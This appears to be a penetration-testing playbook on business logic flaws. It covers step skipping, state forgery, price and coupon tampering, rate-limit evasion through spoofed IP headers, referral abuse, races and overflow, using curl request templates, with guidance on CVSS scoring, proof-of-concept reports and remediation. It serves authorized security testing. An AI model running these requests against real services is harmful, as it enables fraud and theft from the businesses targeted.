
CWE	CWE-840
WSTG	WSTG-BUSL-01, WSTG-BUSL-02, WSTG-BUSL-03, WSTG-BUSL-04, WSTG-BUSL-05, WSTG-BUSL-06, WSTG-BUSL-07, WSTG-BUSL-08, WSTG-BUSL-09
MITRE ATT&CK	T1190
CVSS Range	4.3-9.1
Tools	burp
Difficulty	🔴 advanced

Business Logic

Test for gaps between intended application behavior and what is actually enforced server-side. Business logic flaws use legitimate, well-formed requests -- the attack lies in the sequence, timing, combination, or context of those requests.

Quick Reference

Common business logic flaw patterns to test against any feature:

Pattern	Core Question	Example
Step skipping	Can I reach the final state without completing prerequisites?	Checkout without payment
Step reordering	Does validation depend on execution order?	Submit before captcha
Step repetition	Can I repeat a beneficial action?	Apply coupon multiple times
State manipulation	Can I directly set entity state via the API?	PATCH order status to "completed"
Negative values	What happens with negative quantities or amounts?	Negative cart quantity producing a credit
Integer overflow	Do large numbers wrap or truncate?	Quantity 2147483648 wrapping to negative
Race conditions	Can concurrent requests bypass single-use checks?	Double-claiming a reward
Cross-context reuse	Can I use a token/ID from one context in another?	Password-reset token used for email change
Time boundary abuse	What happens at exact expiry moments?	Starting checkout 1 second before offer expires
Trust boundary crossing	Can I use Tenant A's resources in Tenant B?	Cross-tenant object references

Manipulating Workflows

Multi-step processes often validate the current step but trust that previous steps completed successfully. Your goal is to find the minimum required steps to reach a valuable final state.

Step Skipping

Map the complete workflow, then attempt to call each step in isolation, starting from the final step and working backwards.

# Normal flow: create -> verify -> submit -> complete
# Attack: Jump directly to complete
curl -X POST "$BASE_URL/api/orders/complete" \
  -H "Cookie: $SESSION" \
  -H "Content-Type: application/json" \
  -d '{"order_id": "12345"}'

# Skip the verification step entirely
# Normal: step1 -> step2 (verify) -> step3 (submit)
# Attack: step1 -> step3
curl -X POST "$BASE_URL/api/step1" -H "Cookie: $SESSION" -d '{"data": "init"}'
curl -X POST "$BASE_URL/api/step3" -H "Cookie: $SESSION" -d '{"data": "complete"}'

# Reference an unstarted process to bypass prerequisite tracking
curl -X POST "$BASE_URL/api/process/step5" \
  -H "Cookie: $SESSION" \
  -d '{"process_id": "fabricated-id-never-started"}'

Common targets: email verification bypass, payment bypass, approval bypass, KYC bypass, trial expiry bypass.

Step Reordering

Some workflows assume sequential execution but only validate the current step, not the sequence. Test whether performing action steps before validation steps bypasses enforcement.

# Normal: captcha -> submit_comment
# Attack: submit_comment without captcha token
curl -X POST "$BASE_URL/api/comments" \
  -H "Cookie: $SESSION" \
  -d '{"comment": "test", "captcha_token": ""}'

# Normal: check_balance -> initiate_transfer -> confirm
# Attack: initiate_transfer first -- does balance check only log, not enforce?

# Authorization ordering: create request with high-priv account,
# downgrade account, then complete request.
# Does the system use original or current permissions?

Step Repetition

Test whether beneficial steps can be executed multiple times to accumulate advantages.

# Repeat a reward-claiming step
for i in $(seq 1 10); do
  curl -X POST "$BASE_URL/api/daily-bonus/claim" -H "Cookie: $SESSION"
done
# Check: Was the bonus credited multiple times?

Bypassing State Machines

Applications maintain state for entities (orders, accounts, tickets). State machines often have unintended transitions or permit direct state manipulation.

Direct State Modification

# Attempt to set entity state directly via API
curl -X PATCH "$BASE_URL/api/orders/12345" \
  -H "Cookie: $SESSION" \
  -H "Content-Type: application/json" \
  -d '{"status": "completed"}'

Invalid State Transitions

# Normal: draft -> submitted -> approved -> completed
# Attack: draft -> completed (skip intermediate states)
curl -X POST "$BASE_URL/api/orders/12345/complete" \
  -H "Cookie: $SESSION"

# Reverse transition: completed -> draft -> (modify) -> completed
curl -X POST "$BASE_URL/api/orders/12345/revert" \
  -H "Cookie: $SESSION"

State Resurrection

After an entity is deleted or cancelled, test whether it can be reactivated or used in other endpoints.

# Reactivate a deleted entity
curl -X POST "$BASE_URL/api/orders/deleted-order-id/reactivate" \
  -H "Cookie: $SESSION"

# Use a deleted entity in another endpoint
curl -X POST "$BASE_URL/api/ship" \
  -H "Cookie: $SESSION" \
  -d '{"order_id": "deleted-order-id"}'

Parallel State Race

Concurrent state changes can bypass mutual exclusion checks.

# Two simultaneous claims for the same single-use resource
for i in {1..10}; do
  curl -X POST "$BASE_URL/api/claim" \
    -H "Cookie: $SESSION" \
    -d '{"resource": "prize"}' &
done
wait
# Check: Was the resource claimed more than once?

Manipulating Prices and Payments

Client-Side Price Trust

If the price is submitted by the client, substitute a lower value.

curl -X POST "$BASE_URL/api/checkout" \
  -H "Cookie: $SESSION" \
  -H "Content-Type: application/json" \
  -d '{"item_id": "expensive-item", "price": 0.01}'

Price-Affecting Parameters

Manipulate parameters that influence server-side price calculation.

# Claim enterprise pricing for a single item
curl -X POST "$BASE_URL/api/cart/add" \
  -d '{"item_id": "item1", "quantity": 1, "pricing_tier": "enterprise"}'

Currency Manipulation

# Order in one currency, attempt to pay in another at an incorrect rate
curl -X POST "$BASE_URL/api/orders/create" \
  -d '{"currency": "XXX", "items": [...]}'

# Exploit rounding across multi-step conversions
# USD -> EUR -> GBP -> USD (small rounding errors accumulate)

Cart Modification After Pricing

# 1. Add a cheap item to cart
# 2. Get quote/invoice generated
# 3. Modify cart to contain expensive items
# 4. Complete checkout using the original (cheap) quote

Abusing Coupons and Discounts

Multiple Application

# Apply the same coupon repeatedly
curl -X POST "$BASE_URL/api/cart/apply-coupon" -d '{"code": "SAVE20"}'
curl -X POST "$BASE_URL/api/cart/apply-coupon" -d '{"code": "SAVE20"}'
curl -X POST "$BASE_URL/api/cart/apply-coupon" -d '{"code": "SAVE20"}'
# Check: Is the discount now 60%?

Stacking Incompatible Discounts

# Combine multiple discount mechanisms
curl -X POST "$BASE_URL/api/cart/apply-coupon" -d '{"code": "SAVE20"}'
curl -X POST "$BASE_URL/api/cart/apply-loyalty" -d '{"points": 1000}'
curl -X POST "$BASE_URL/api/cart/apply-promo" -d '{"promo": "FLASH"}'
# Check: Do discounts stack beyond 100%?

Application Order Exploitation

The order in which discounts apply changes the final price. Test both orders and use whichever benefits the attacker.

On a $100 item:
  $10 off first, then 20% off = $72
  20% off first, then $10 off = $70

Code Prediction

# If codes follow a sequential pattern (PROMO001, PROMO002...)
for i in $(seq 1 1000); do
  code=$(printf "PROMO%03d" $i)
  curl -s -X POST "$BASE_URL/api/cart/apply-coupon" -d "{\"code\": \"$code\"}"
done

Cross-Account Reuse

Test whether a single-use coupon consumed by User A can also be used by User B.

Expired Coupon Resurrection

Test whether expired coupons are still accepted -- tamper with expiry fields in the request if they are client-provided, or replay requests from cached sessions.

Bypassing Feature Limits

Rate Limiting Bypass

Rate limits often have implementation gaps. Test these evasion vectors:

Header manipulation:

for ip in "1.1.1.1" "2.2.2.2" "3.3.3.3"; do
  curl -H "X-Forwarded-For: $ip" "$BASE_URL/api/limited"
  curl -H "X-Real-IP: $ip" "$BASE_URL/api/limited"
  curl -H "X-Client-IP: $ip" "$BASE_URL/api/limited"
  curl -H "True-Client-IP: $ip" "$BASE_URL/api/limited"
done

Path variations:

curl "$BASE_URL/api/v1/limited"
curl "$BASE_URL/api/v1/limited/"
curl "$BASE_URL/api/v1/limited?"
curl "$BASE_URL/api/v1//limited"
curl "$BASE_URL/API/V1/LIMITED"
curl "$BASE_URL/api/v1/./limited"

HTTP method variation:

# If only POST is rate-limited, try GET or PUT for the same action
curl -X GET "$BASE_URL/api/limited"
curl -X PUT "$BASE_URL/api/limited"

Endpoint aliasing:

curl "$BASE_URL/api/users/me"        # Rate-limited
curl "$BASE_URL/api/v2/user"         # Same data, not limited?
curl "$BASE_URL/graphql" -d '{"query": "{ me { ... } }"}'  # GraphQL bypasses REST limits?

Free Tier / Trial Abuse

# Delete and recreate account to reset free tier
curl -X DELETE "$BASE_URL/api/account" -H "Cookie: $SESSION"
curl -X POST "$BASE_URL/api/signup" -d '{"email": "same@email.com"}'
# Check: Was the free tier reset?

Referral System Abuse

# Self-referral through multiple accounts
for i in {1..100}; do
  curl -X POST "$BASE_URL/api/signup" \
    -d "{\"email\": \"test$i@temp.com\", \"referral\": \"MY_CODE\"}"
done

Quota Circumvention

Test whether resource quotas are enforced per-account, per-session, or per-request. Rotate the identifier that the quota is keyed on.

Bypassing Multi-Step Processes

For any multi-step process (checkout, registration, onboarding, approval workflows), apply this systematic approach:

Map all steps: Identify every endpoint in the flow and the order they are normally called.
Identify the valuable final step: Which step grants the attacker something (goods, access, approval)?
Test direct access to the final step: Call it without completing any prerequisites.
If rejected, backtrack: Call step N-1 directly, then N-2, until you find the minimum required steps.
Test partial flows: Complete only some steps, skip others.
Test parallel flows: Start two flows simultaneously, complete prerequisites in one, and use those tokens/sessions in the other.

Document every combination tested, even unsuccessful ones. Negative results narrow the attack surface for further investigation.

Crossing Trust Boundaries

Token Portability

Test whether tokens issued for one purpose are accepted in another context.

# Use a password-reset token for email change
curl -X POST "$BASE_URL/api/change-email" \
  -d '{"token": "password-reset-token", "new_email": "attacker@evil.com"}'

Cross-User Reference Substitution

# Access another user's resource using your session + their resource ID
curl -X GET "$BASE_URL/api/files/their-file-id" \
  -H "Cookie: $MY_SESSION"

Cross-Tenant Resource Access

# In multi-tenant applications, reference Tenant A's resources from Tenant B
curl -X POST "$BASE_URL/api/tenant-b/action" \
  -d '{"resource_from_tenant_a": "id-123"}'

Environment Mixing

# Use sandbox/test payment tokens in production
curl -X POST "$PROD_URL/api/checkout" \
  -d '{"payment_token": "test-token-from-sandbox"}'

Exploiting Data Validation Gaps

Business logic often validates data type and format but not business constraints. Test these gaps:

Missing server-side validation: Client-side-only checks (min/max, required fields, allowed values) that are not enforced on the server.
Type coercion: Sending a string where an integer is expected, or an array where a string is expected. Observe whether the server coerces silently or errors.
Boundary values: Minimum, maximum, zero, empty string, null, extremely long strings.
Unexpected field injection: Add fields that are not part of the documented schema (e.g., "is_admin": true, "role": "admin", "price": 0). Check whether mass assignment or similar issues exist.
Format string injection in business fields: Names, descriptions, or other free-text fields that may be used in templates, reports, or notifications without sanitization.

Exploiting Negative Values and Integer Overflow

Negative Quantities

# Negative quantity may produce a credit instead of a debit
curl -X POST "$BASE_URL/api/cart/add" \
  -d '{"item_id": "item1", "quantity": -1}'
# Check: Does the total go negative? Can you checkout with negative total?

Zero Quantity

# Zero quantity may still trigger side effects (shipping, handling, account flags)
curl -X POST "$BASE_URL/api/cart/add" \
  -d '{"item_id": "expensive-item", "quantity": 0}'

Fractional Quantities

# Fractional quantity where only integers are expected
curl -X POST "$BASE_URL/api/cart/add" \
  -d '{"item_id": "item1", "quantity": 0.001}'
# Price may round to $0.00 but the item is still added

Integer Overflow

# On 32-bit signed integers: 2147483647 + 1 = -2147483648
curl -X POST "$BASE_URL/api/cart/add" \
  -d '{"item_id": "item1", "quantity": 2147483648}'
# Does the quantity wrap to negative? What about the computed price?

Quantity Modification After Snapshot

# 1. Add 1 item -> shipping calculated for 1 item
# 2. Modify to 100 items
# 3. Checkout with shipping cost for 1 item applied to 100 items

Exploiting Time-Based Logic

Expiry Boundary Testing

# Start an action just before an offer expires
# 1. Get an offer that expires in 60 seconds
# 2. Wait 59 seconds
# 3. Initiate checkout (still valid at time of initiation)
# 4. Complete checkout after expiry -- accepted due to session state?

Timezone Exploitation

# If the server respects client-provided timezone
curl -H "Time-Zone: Pacific/Auckland" "$BASE_URL/api/daily-bonus"
# Collect "tomorrow's" bonus in NZ timezone while it's still "today" server-side
# Rotate through timezones to collect multiple daily bonuses

Client-Provided Timestamps

# If the server trusts client-submitted timestamps
curl -X POST "$BASE_URL/api/action" \
  -H "Content-Type: application/json" \
  -d '{"action": "claim", "timestamp": 1999999999}'

Race Against Expiry

Fire multiple concurrent requests at the exact moment a resource expires. Some may succeed while others fail, revealing inconsistent expiry enforcement.

Time-of-Check vs. Time-of-Use (TOCTOU)

If there is a gap between when the server checks a condition and when it acts on it, exploit that window by changing state between check and use.

Assessing Impact

Every confirmed business logic finding must be assessed for real-world impact. Use CVSS v3.1 to produce a standardized score.

CVSS Vector Guidance for Business Logic Flaws

Metric	Typical Value	Reasoning
Attack Vector (AV)	Network (N)	Most business logic flaws are exploitable over HTTP
Attack Complexity (AC)	Low (L)	Exploitation uses legitimate requests; no special conditions
Privileges Required (PR)	None (N) or Low (L)	Depends on whether authentication is required
User Interaction (UI)	None (N)	Attacker acts directly, no victim interaction needed
Scope (S)	Unchanged (U) or Changed (C)	Changed if exploitation impacts resources beyond the vulnerable component (e.g., cross-tenant)
Confidentiality (C)	None (N) to High (H)	Based on data exposure
Integrity (I)	Low (L) to High (H)	Based on data/state manipulation achieved
Availability (A)	None (N) to Low (L)	Business logic flaws rarely cause denial of service

Impact Categories

Frame the impact in business terms:

Financial: Direct monetary loss (e.g., free goods, inflated refunds, stolen credits)
Data integrity: Unauthorized state changes (e.g., bypassed approvals, forged status)
Access control: Privilege escalation or unauthorized access to features
Compliance: Violation of regulatory requirements (e.g., KYC bypass, audit trail manipulation)
Reputation: Abuse that degrades trust (e.g., fake reviews, referral fraud)

Writing PoCs

Business logic PoCs must be self-contained and reproducible. Follow these requirements:

State the preconditions: What accounts, roles, data, or configuration are required before running the PoC?
Provide exact reproduction steps: Every HTTP request as a curl command with all headers, cookies, and body content.
Show before/after state: Capture the relevant entity state before exploitation and after exploitation.
Demonstrate impact: Do not just show an unexpected response. Show the business consequence (e.g., account balance unchanged after receiving goods).
Include timing requirements: If the exploit depends on timing (race condition, expiry boundary), document the timing window.
Make it idempotent when possible: The PoC should describe how to reset state so it can be re-run.

PoC format:

## PoC: [Vulnerability Name]

### Preconditions
- Authenticated session as [role]
- [Entity] in [state]

### Steps
1. Verify initial state:
   ```bash
   curl -X GET "$BASE_URL/api/account/balance" -H "Cookie: $SESSION"
   # Response: {"balance": 100.00}

Exploit:

curl -X POST "$BASE_URL/api/checkout" \
  -H "Cookie: $SESSION" \
  -H "Content-Type: application/json" \
  -d '{"order_id": "12345", "skip_payment": true}'
# Response: {"status": "completed"}

Verify exploitation:

curl -X GET "$BASE_URL/api/account/balance" -H "Cookie: $SESSION"
# Response: {"balance": 100.00}  <-- balance unchanged despite order completion
curl -X GET "$BASE_URL/api/orders/12345" -H "Cookie: $SESSION"
# Response: {"status": "completed", "total": 500.00}  <-- goods received

Impact

Attacker obtained $500 worth of goods without payment. Balance unchanged.

## Writing Reports

Structure your report for maximum clarity and actionability.

### Report Structure

1. **Title**: Concise description in the format `[Category] Vulnerability in [Feature]`
   - Example: `Business Logic: Payment Bypass via Step Skipping in Checkout Flow`

2. **CVSS Score and Vector**: Compute using the guidance in Assessing Impact above. Provide the full vector string.
   - Example: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (7.5 High)

3. **Description**: Explain what the intended behavior is, what the actual behavior is, and why the gap is exploitable. Keep it under 200 words.

4. **Impact**: Business-framed consequences. Quantify where possible (e.g., "attacker can generate unlimited $50 credits").

5. **Reproduction Steps**: Numbered steps with exact curl commands. A reviewer must be able to reproduce from this section alone.

6. **Evidence**: Before/after screenshots or response bodies showing the state change.

7. **Remediation**: Suggest specific server-side enforcement:
   - Validate step completion server-side before allowing subsequent steps
   - Enforce state machine transitions in the data layer
   - Validate all price/quantity calculations server-side
   - Implement idempotency keys for single-use operations
   - Add server-side rate limiting independent of client headers

8. **References**: Link to relevant OWASP Testing Guide sections or similar public disclosures.

## Tools

| Tool | Purpose |
|------|---------|
| `curl` | Primary tool for crafting individual HTTP requests with full header/body control |
| `httpie` | Alternative HTTP client with more readable output for exploration |
| `Burp Suite` / `mitmproxy` | Intercept and modify requests in multi-step flows |
| `GNU parallel` / `xargs -P` | Send concurrent requests for race condition testing |
| `jq` | Parse and extract values from JSON responses between steps |
| `ab` / `wrk` | Load testing to identify rate limiting thresholds |
| `ffuf` | Fuzz parameter values (coupon codes, IDs, state values) |
| `nuclei` | Template-based scanning for known business logic patterns |

For race condition testing, prefer sending requests in true parallel rather than sequential loops:

```bash
# True parallel with curl
seq 1 20 | xargs -P 20 -I{} curl -s -X POST "$BASE_URL/api/claim" \
  -H "Cookie: $SESSION" \
  -d '{"resource": "single-use-reward"}'

For multi-step flows, chain requests and extract intermediate values with jq:

# Extract token from step 1, use in step 2
TOKEN=$(curl -s -X POST "$BASE_URL/api/step1" \
  -H "Cookie: $SESSION" | jq -r '.token')

curl -X POST "$BASE_URL/api/step3" \
  -H "Cookie: $SESSION" \
  -d "{\"token\": \"$TOKEN\"}"

Prioritization

Test these first (highest real-world exploitability)

Price manipulation and payment bypass -- Modify prices, quantities, discounts, or totals in checkout requests. Negative quantities, zero-price items, and currency confusion are the most commonly exploited business logic flaws with direct financial impact.
Workflow step skipping -- Skip verification, approval, or confirmation steps by directly accessing later stages. Common in multi-step processes like account registration, order placement, and identity verification.
Privilege boundary violations in feature access -- Access paid features, premium content, or rate-limited resources by manipulating plan/tier identifiers, feature flags, or license parameters.

Test these if time permits (lower exploitability)

Referral and reward system abuse -- Self-referral, circular referrals, or referral code prediction. Lower financial impact per instance but scalable.
Data validation gaps across related operations -- Change order contents after payment approval, modify booking details after confirmation, or alter quantities after price calculation.
Abuse of legitimate features for unintended purposes -- Use export features to enumerate data, abuse notification features for spam, or exploit trial/demo functionality for persistent free access.

Skip if

Application has no financial transactions, subscriptions, or premium features
No multi-step workflows exist (all operations are single-request atomic actions)

Note: Never assume business logic constraints are fully enforced without testing. The purpose of this playbook is to find gaps between intended behavior and actual enforcement. "Well-documented" constraints are often incompletely implemented.

Asset criticality

Prioritize by financial impact: payment/checkout flows > subscription/licensing management > reward/referral systems > multi-step verification processes > content access controls. Business logic flaws on financial endpoints are Critical. On non-financial workflows, severity depends on the specific business impact.

Quick Reference​

Manipulating Workflows​

Step Skipping​

Step Reordering​

Step Repetition​

Bypassing State Machines​

Direct State Modification​

Invalid State Transitions​

State Resurrection​

Parallel State Race​

Manipulating Prices and Payments​

Client-Side Price Trust​

Price-Affecting Parameters​

Currency Manipulation​

Cart Modification After Pricing​

Abusing Coupons and Discounts​

Multiple Application​

Stacking Incompatible Discounts​

Application Order Exploitation​

Code Prediction​

Cross-Account Reuse​

Expired Coupon Resurrection​

Bypassing Feature Limits​

Rate Limiting Bypass​

Free Tier / Trial Abuse​

Referral System Abuse​

Quota Circumvention​

Bypassing Multi-Step Processes​

Crossing Trust Boundaries​

Token Portability​

Cross-User Reference Substitution​

Cross-Tenant Resource Access​

Environment Mixing​

Exploiting Data Validation Gaps​

Exploiting Negative Values and Integer Overflow​

Negative Quantities​

Zero Quantity​

Fractional Quantities​

Integer Overflow​

Quantity Modification After Snapshot​

Exploiting Time-Based Logic​

Expiry Boundary Testing​

Timezone Exploitation​

Client-Provided Timestamps​

Race Against Expiry​

Time-of-Check vs. Time-of-Use (TOCTOU)​

Assessing Impact​

CVSS Vector Guidance for Business Logic Flaws​

Impact Categories​

Writing PoCs​

Impact​

Prioritization​

Test these first (highest real-world exploitability)​

Test these if time permits (lower exploitability)​

Skip if​

Asset criticality​